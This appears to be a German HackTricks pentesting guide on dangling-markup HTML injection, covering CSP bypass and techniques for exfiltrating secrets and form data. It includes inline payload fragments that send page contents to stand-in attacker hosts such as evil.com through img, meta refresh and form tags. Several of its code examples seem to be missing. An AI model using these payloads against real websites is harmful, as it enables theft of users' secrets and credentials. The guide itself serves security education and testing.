Dangling Markup - HTML scriptless injection
Last updated
Last updated
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Diese Technik kann verwendet werden, um Informationen von einem Benutzer zu extrahieren, wenn eine HTML-Injection gefunden wird. Dies ist sehr nützlich, wenn du keinen Weg findest, um eine XSS zu exploiten, aber du einige HTML-Tags injizieren kannst. Es ist auch nützlich, wenn ein Geheimnis im Klartext im HTML gespeichert ist und du es exfiltrieren möchtest, oder wenn du eine Skriptausführung irreführen möchtest.
Mehrere hier kommentierte Techniken können verwendet werden, um einige Content Security Policy zu umgehen, indem Informationen auf unerwartete Weise exfiltriert werden (HTML-Tags, CSS, HTTP-Meta-Tags, Formulare, Basis...).
Wenn du <img src='http://evil.com/log.cgi?
injizierst, wenn die Seite geladen wird, wird das Opfer dir den gesamten Code zwischen dem injizierten img
-Tag und dem nächsten Anführungszeichen im Code senden. Wenn sich ein Geheimnis irgendwie in diesem Abschnitt befindet, wirst du es stehlen (du kannst dasselbe mit einem doppelten Anführungszeichen tun, schau dir an, was interessanter sein könnte).
Wenn das img
-Tag verboten ist (zum Beispiel aufgrund von CSP), kannst du auch <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
verwenden.
Beachten Sie, dass Chrome HTTP-URLs mit "<" oder "\n" blockiert, sodass Sie andere Protokollschemata wie "ftp" ausprobieren können.
Sie können auch CSS @import
missbrauchen (es sendet den gesamten Code, bis es ein ";" findet).
Du könntest auch <table
verwenden:
Sie könnten auch ein <base
-Tag einfügen. Alle Informationen werden gesendet, bis das Zitat geschlossen ist, aber es erfordert einige Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das Basistag die durch den Link angegebene Domain geändert hat):
Dann werden die Formulare, die Daten an den Pfad senden (wie <form action='update_profile.php'>
), die Daten an die bösartige Domain senden.
Setzen Sie einen Formular-Header: <form action='http://evil.com/log_steal'>
, dies wird den nächsten Formular-Header überschreiben und alle Daten aus dem Formular werden an den Angreifer gesendet.
Der Button kann die URL ändern, an die die Informationen des Formulars mit dem Attribut "formaction" gesendet werden.
Ein Angreifer kann dies nutzen, um Informationen zu stehlen.
Finden Sie ein Beispiel für diesen Angriff in diesem Bericht.
Mit der zuletzt erwähnten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld einfügen:
und dieses Eingabefeld wird den gesamten Inhalt zwischen seinen doppelten Anführungszeichen und dem nächsten doppelten Anführungszeichen im HTML enthalten. Dieser Angriff kombiniert "Stealing clear text secrets" mit "Stealing forms2".
Sie können dasselbe tun, indem Sie ein Formular und ein <option>
-Tag injizieren. Alle Daten bis ein geschlossenes </option>
gefunden wird, werden gesendet:
Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass eine unerwartete Aktion ausgeführt wird:
<noscript></noscript>
ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser JavaScript nicht unterstützt (Sie können JavaScript in Chrome unter chrome://settings/content/javascript aktivieren/deaktivieren).
Eine Möglichkeit, den Inhalt der Webseite vom Punkt der Injektion bis zum Ende auf eine von einem Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, Folgendes einzufügen:
Aus dieser Portsweigger-Forschung können Sie lernen, dass Sie selbst aus den am stärksten CSP-restriktiven Umgebungen immer noch Daten exfiltrieren können, wenn Sie etwas Benutzerinteraktion haben. In diesem Fall werden wir das Payload verwenden:
Beachten Sie, dass Sie die Opfer bitten werden, auf einen Link zu klicken, der ihn zu einem von Ihnen kontrollierten Payload umleitet. Beachten Sie auch, dass das target
-Attribut innerhalb des base
-Tags HTML-Inhalt bis zum nächsten einfachen Anführungszeichen enthalten wird.
Dies wird dazu führen, dass der Wert von window.name
, wenn der Link angeklickt wird, all diesen HTML-Inhalt enthalten wird. Daher, da Sie die Seite kontrollieren, auf die das Opfer zugreift, indem es auf den Link klickt, können Sie auf dieses window.name
zugreifen und diese Daten exfiltrieren:
Fügen Sie ein neues Tag mit einer ID innerhalb des HTML ein, das das nächste überschreibt und mit einem Wert, der den Fluss eines Skripts beeinflusst. In diesem Beispiel wählen Sie aus, mit wem Informationen geteilt werden:
Erstellen Sie Variablen innerhalb des JavaScript-Namensraums, indem Sie HTML-Tags einfügen. Dann wird diese Variable den Ablauf der Anwendung beeinflussen:
Wenn Sie eine JSONP-Schnittstelle finden, könnten Sie in der Lage sein, eine beliebige Funktion mit beliebigen Daten aufzurufen:
Oder Sie können sogar versuchen, etwas JavaScript auszuführen:
Ein Kinddokument hat die Fähigkeit, die location
-Eigenschaft seines Elternteils zu sehen und zu ändern, selbst in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts in ein iframe, das den Client auf eine beliebige Seite umleiten kann:
Dies kann mit etwas wie: sandbox=' allow-scripts allow-top-navigation'
gemildert werden.
Ein iframe kann auch missbraucht werden, um sensible Informationen von einer anderen Seite unter Verwendung des iframe name Attributs zu leaken. Dies liegt daran, dass Sie ein iframe erstellen können, das sich selbst in ein iframe einfügt und die HTML-Injection ausnutzt, die sensible Informationen im iframe name Attribut erscheinen lässt und dann diesen Namen vom ursprünglichen iframe aus zugreifen und leaken kann.
Für weitere Informationen siehe https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Sie könnten meta http-equiv
verwenden, um mehrere Aktionen auszuführen, wie das Setzen eines Cookies: <meta http-equiv="Set-Cookie" Content="SESSID=1">
oder eine Weiterleitung durchzuführen (in 5s in diesem Fall): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Dies kann mit einer CSP bezüglich http-equiv ( Content-Security-Policy: default-src 'self';
, oder Content-Security-Policy: http-equiv 'self';
)
Sie finden eine sehr interessante Forschung zu ausnutzbaren Schwachstellen des <portal-Tags hier.
Zum Zeitpunkt des Schreibens müssen Sie den Portal-Tag in Chrome unter chrome://flags/#enable-portals
aktivieren, sonst funktioniert es nicht.
Nicht alle Möglichkeiten, um Konnektivität in HTML zu leaken, sind für Dangling Markup nützlich, aber manchmal könnte es helfen. Überprüfen Sie sie hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Dies ist ein Mix aus dangling markup und XS-Leaks. Einerseits erlaubt die Schwachstelle, HTML (aber kein JS) in eine Seite derselben Herkunft wie die, die wir angreifen werden, zu injizieren. Andererseits werden wir die Seite, in die wir HTML injizieren können, nicht direkt angreifen, sondern eine andere Seite.
SS-LeaksXS-Search sind darauf ausgerichtet, cross-origin Informationen zu exfiltrieren, indem sie Seitenkanalangriffe ausnutzen. Daher ist es eine andere Technik als Dangling Markup, jedoch missbrauchen einige der Techniken die Einbeziehung von HTML-Tags (mit und ohne JS-Ausführung), wie CSS Injection oder Lazy Load Images.
XS-Search/XS-LeaksLernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)